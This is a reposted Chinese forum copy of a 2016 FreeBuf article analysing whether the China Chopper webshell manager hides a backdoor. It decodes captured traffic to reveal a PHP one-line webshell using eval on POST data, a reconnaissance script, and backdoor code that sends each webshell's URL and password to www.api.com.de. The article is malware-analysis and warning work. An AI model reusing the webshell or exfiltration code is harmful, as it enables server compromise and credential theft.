搜索

[9749] 2016-01-18_技术揭秘：如何分析中国菜刀是否包含后门？

文档创建者：s7ckTeam
浏览次数：8
最后更新：2025-01-18
2016-01-18_技术揭秘：如何分析中国菜刀是否包含后门？ 技 术 揭 秘 ： 如 何 分 析 中 国 菜 刀 是 否 包 含 后 门 ？ s i m e o n   F r e e B u f   2 0 1 6 - 0 1 - 1 8 原 创 作 者 ： s i m e o n 0 x 0 0   前 言 前 言 我 国 有 一 句 古 话 “ 常 在 河 边 走 ， 哪 有 不 湿 鞋 ” ， 互 联 网 上 流 传 的 工 具 很 多 是 带 有 后 门 的 ， 例 如 S S H   S e c u r e   C l i e n t 就 曾 被 曝 留 有 后 门 ， 在 工 具 中 留 后 门 ， 就 可 以 源 源 不 断 的 获 取 “ 活 的 ” 攻 击 者 、 管 理 员 等 提 交 登 录 的 帐 号 和 密 码 ， 获 取 服 务 器 和 w e b s h e l l 等 权 限 ， 那 么 在 著 名 的 w e b s h e l l 管 理 工 具 中 国 菜 刀 会 不 会 留 有 后 门 呢 ？ 请 看 参 考 本 文 的 分 析 ， 亲 自 操 作 一 把 就 知 道 了 ！ 0 x 0 1   菜 刀 简 介 菜 刀 简 介 软 件 名 称 ： 中 国 菜 刀 ( C h i n a   c h o p p e r ) ， 中 国 菜 刀 ， 不 是 原 来 切 菜 做 饭 的 道 具 ， 而 是 一 款 专 业 的 网 站 管 理 软 件 ， 用 途 广 泛 ， 使 用 方 便 ， 小 巧 实 用 。 只 要 支 持 动 态 脚 本 的 网 站 ， 都 可 以 用 中 国 菜 刀 来 进 行 管 理 ！ 程 序 大 小 ： 2 1 4 K ， 在 非 简 体 中 文 环 境 下 使 用 ， 自 动 切 换 到 英 文 界 面 。 U I N C O D E 方 式 编 译 ， 支 持 多 国 语 言 输 入 显 示 。 0 x 0 2   实 验 准 备 环 境 实 验 准 备 环 境 （ 1 ） 在 本 机 安 装 C o m s e n z E X P ， 下 载 地 址 ： h t t p : / / w w w . c o m s e n z . c o m / d o w n l o a d s / i n s t a l l / e x p （ 2 ） 在 C o m s e n z E X P 安 装 目 录 的 w w w r o o t 下 面 新 建 一 句 话 后 门 p h p 文 件 。 （ 3 ） W S o c k E x p e r t _ C n 程 序 （ 4 ） e n c o d e 程 序 （ 5 ） 带 有 后 门 的 c h o p p e r 程 序 一 套 0 x 0 3   分 析 并 获 取 后 门 过 程 分 析 并 获 取 后 门 过 程 （ （ 1 ） 新 建 一 条 中 国 菜 刀 记 录 ） 新 建 一 条 中 国 菜 刀 记 录 在 中 国 菜 刀 中 新 建 一 条 记 录 ， 加 入 一 句 话 后 门 地 址 “ h t t p : / / 1 2 7 . 0 . 0 . 1 / 1 . p h p ” 密 码 为 “ x ” ， 如 图 1 所 示 。 图 1 新 建 w e b s h e l l 管 理 记 录 （ （ 2 ） 设 置 ） 设 置 W S o c k E x p e r t 抓 包 软 件 抓 包 软 件 打 开 W S o c k E x p e r t 软 件 ， 也 可 以 选 择 其 它 抓 包 软 件 ， 选 择 需 要 监 听 的 程 序 （ 打 开 文 件 夹 那 个 图 标 按 钮 ） ， 在 本 例 中 选 择 “ 中 国 菜 刀 ” ， 如 图 2 所 示 ， 设 置 完 成 后 W S o c k E x p e r t 开 始 对 中 国 菜 刀 进 行 监 听 并 获 取 其 通 信 过 程 的 包 等 数 据 。 图 2 设 置 W S o c k E x p e r t 抓 包 软 件 （ （ 3 ） 使 用 中 国 菜 刀 打 开 ） 使 用 中 国 菜 刀 打 开 w e b s h e l l 在 中 国 菜 刀 中 打 开 w e b s h e l l 记 录 h t t p : / / 1 2 7 . 0 . 0 . 1 / 1 . p h p ， 如 图 3 所 示 ， 可 以 对 w e b s h e l l 所 在 的 计 算 机 上 浏 览 、 删 除 、 上 传 等 文 件 操 作 。
图 3 打 开 w e b s h e l l （ （ 4 ） 获 取 抓 包 数 据 ） 获 取 抓 包 数 据 在 W S o c k E x p e r t 软 件 窗 口 可 以 看 到 抓 取 的 数 据 包 记 录 ， 在 其 中 选 择 第 二 条 记 录 ， 如 图 4 所 示 ， 将 数 据 包 的 内 容 复 制 ， 其 内 容 如 下 ： 以 上 代 码 中 包 含 u r l 编 码 ， 无 法 看 出 什 么 。 图 4 查 看 数 据 包 （ （ 5 ） 对 ） 对 u r l 数 据 进 行 解 包 数 据 进 行 解 包 将 上 面 获 取 的 数 据 复 制 到 E n c o d e 中 ， 如 图 5 所 示 ， 选 择 “ U R I ” 类 型 ， 单 击 “ D e c o d e r ” 进 行 解 码 ； 单 击 “ E n c o d e r ” 按 钮 对 输 入 框 中 的 内 容 进 行 编 码 。 图 5 对 u r l 数 据 进 行 解 码 解 码 后 的 数 据 变 为 ： x = $ _ = s t r r e v ( e d o c e d _ 4 6 e s a b ) ; @ e v a l ( $ _ ( $ _ P O S T [ z 0 ] ) ) ; & z 0 = Q G V 2 Y W w o Y m F z Z T Y 0 X 2 R l Y 2 9 k Z S g n Y V d Z b 0 p G O U R U M D l M U 1 V W Y k o w e D V h M l V u W F N F O U 1 T b D d j M l Y w W T I 5 d m E y b G x L Q 2 R N Z V d 0 b E p 5 d 3 h L V H R B W m 1 s c 1 p T Z 2 5 h S F I w Y 0 R v d k w z Z D N k e T V o Y 0 d r d V k y O X R M b V J s T D B G d 2 F T N X d h S E E v V l h K c 1 B T Y 3 V K R j l U U l Z K V 1 J W S m J K M G h V V k Z C Z l N F O V R W Q 2 R k T G l S Z l U w V l N W a 1 Z T V 3 l k U 1 J W R l Z S V k 5 V W D F W U 1 N T Z G R M a W N t V U d G e m N 6 M G 5 M b X R s Z V N n a 1 g x Q l B V M V F w S 1 R 0 O S c p K T t A a W 5 p X 3 N l d C g i Z G l z c G x h e V 9 l c n J v c n M i L C I w I i k 7 Q H N l d F 9 0 a W 1 l X 2 x p b W l 0 K D A p O 0 B z Z X R f b W F n a W N f c X V v d G V z X 3 J 1 b n R p b W U o M C k 7 Z W N o b y g i L T 5 8 I i k 7 O y R E P W R p c m 5 h b W U o J F 9 T R V J W R V J b I l N D U k l Q V F 9 G S U x F T k F N R S J d K T t p Z i g k R D 0 9 I i I p J E Q 9 Z G l y b m F t Z S g k X 1 N F U l Z F U l s i U E F U S F 9 U U k F O U 0 x B V E V E I l 0 p O y R S P S J 7 J E R 9 X H Q i O 2 l m K H N 1 Y n N 0 c i g k R C w w L D E p I T 0 i L y I p e 2 Z v c m V h Y 2 g o c m F u Z 2 U o I k E i L C J a I i k g Y X M g J E w p a W Y o a X N f Z G l y K C J 7 J E x 9 O i I p K S R S L j 0 i e y R M f T o i O 3 0 k U i 4 9 I l x 0 I j s k d T 0 o Z n V u Y 3 R p b 2 5 f Z X h p c 3 R z K C d w b 3 N p e F 9 n Z X R l Z 2 l k J y k p P 0 B w b 3 N p e F 9 n Z X R w d 3 V p Z C h A c G 9 z a X h f Z 2 V 0 Z X V p Z C g p K T o n J z s k d X N y P S g k d S k / J H V b J 2 5 h b W U n X T p A Z 2 V 0 X 2 N 1 c n J l b n R f d X N l c i g p O y R S L j 1 w a H B f d W 5 h b W U o K T s k U i 4 9 I i h 7 J H V z c n 0 p I j t w c m l u d C A k U j s 7 Z W N o b y g i f D w t I i k 7 Z G l l K C k 7 将 解 码 后 的 “ z 0 = ” 后 面 的 数 据 复 制 到 E n c o d e 输 入 框 中 ， 选 择 b a s e 6 4 解 码 ， 如 图 6 所 示 ， 获 取 第 一 次 b a s e 6 4 解 码 后 的 数 据 ， 在 标 红 的 部 分 还 存 在 b a s e 6 4 加 密 。 @ e v a l ( b a s e 6 4 _ d e c o d e ( ' a W Y o J F 9 D T 0 9 L S U V b J 0 x 5 a 2 U n X S E 9 M S l 7 c 2 V 0 Y 2 9 v a 2 l l K C d M e W t l J y w x K T t A Z m l s Z S g n a H R 0 c D o v L 3 d 3 d y 5 h c G k u Y 2 9 t L m R l L 0 F w a S 5 w a H A / V X J s P S c u J F 9 T R V J W R V J b J 0 h U V F B f S E 9 T V C d d L i R f U 0 V S V k V S W y d S R V F V R V N U X 1 V S S S d d L i c m U G F z c z 0 n L m t l e S g k X 1 B P U 1 Q p K T t 9 ' ) ) ; @ i n i _ s e t ( " d i s p l a y _ e r r o r s " , " 0 " ) ; @ s e t _ t i m e _ l i m i t ( 0 ) ; @ s e t _ m a g i c _ q u o t e s _ r u n t i m e ( 0 ) ; e c h o ( " - > | " ) ; ; $ D = d i r n a m e ( $ _ S E R V E R [ " S C R I P T _ F I L E N A M E " ] ) ; i f ( $ D = = " " ) $ D = d i r n a m e ( $ _ S E R V E R [ " P A T H _ T R A N S L A T E D " ] ) ; $ R = " { $ D } t " ; i f ( s u b s t r ( $ D , 0 , 1 ) ! = " / " ) { f o r e a c h ( r a n g e ( " A " , " Z " ) a s $ L ) i f ( i s _ d i r ( " { $ L } : " ) ) $ R . = " { $ L } : " ; } $ R . = " t " ; $ u = ( f u n c t i o n _ e x i s t s ( ' p o s i x _ g e t e g i d ' ) ) ? @ p o s i x _ g e t p w u i d ( @ p o s i x _ g e t e u i d ( ) ) : ' ' ; $ u s r = ( $ u ) ? $ u [ ' n a m e ' ] : @ g e t _ c u r r e n t _ u s e r ( ) ; $ R . = p h p _ u n a m e ( ) ; $ R . = " ( { $ u s r } ) " ; p r i n t $ R ; ; e c h o ( " | < - " ) ; d i e ( ) ;
图 6 第 一 次 b a s e 6 4 解 码 将 上 面 标 红 的 部 分 的 b a s e 6 4 加 密 代 码 复 制 到 E n c o d e 程 序 输 入 框 中 ， 选 择 b a s e 6 4 进 行 D e c o d e ， 如 图 7 所 示 ， 获 取 其 后 门 地 址 代 码 ： i f ( $ _ C O O K I E [ ' L y k e ' ] ! = 1 ) { s e t c o o k i e ( ' L y k e ' , 1 ) ; @ f i l e ( ' h t t p : / / w w w . a p i . c o m . d e / A p i . p h p ? U r l = ' . $ _ S E R V E R [ ' H T T P _ H O S T ' ] . $ _ S E R V E R [ ' R E Q U E S T _ U R I ' ] . ' & P a s s = ' . k e y ( $ _ P O S T ) ) ; } ， 其 中 h t t p : / / w w w . a p i . c o m . d e / A p i . p h p ? U r l = ' . $ _ S E R V E R [ ' H T T P _ H O S T ' ] . $ _ S E R V E R [ ' R E Q U E S T _ U R I ' ] . ' & P a s s = ' . k e y ( $ _ P O S T ) 为 后 门 接 收 地 址 ， 在 黑 客 打 开 w e b s h e l l 时 会 自 动 将 s h e l l 地 址 和 密 码 发 送 到 网 站 w w w . a p i . c o m . d e 。 图 7 获 取 后 门 地 址 0 x 0 4   后 记 后 记 通 过 上 面 的 分 析 ， 可 以 了 解 到 中 国 菜 刀 被 留 后 门 ， 用 户 在 使 用 该 工 具 过 程 中 会 自 动 将 w e b s h e l l 记 录 发 送 到 指 定 网 站 进 行 接 收 。 因 此 在 网 上 下 载 的 工 具 ， 一 定 要 留 一 个 心 眼 ， 最 好 将 其 放 在 虚 拟 机 中 运 行 ， 尽 量 到 官 方 发 布 的 网 站 进 行 下 载 。 * 作 者 ： s i m e o n ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 文 章 ， 未 经 许 可 禁 止 转 载 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理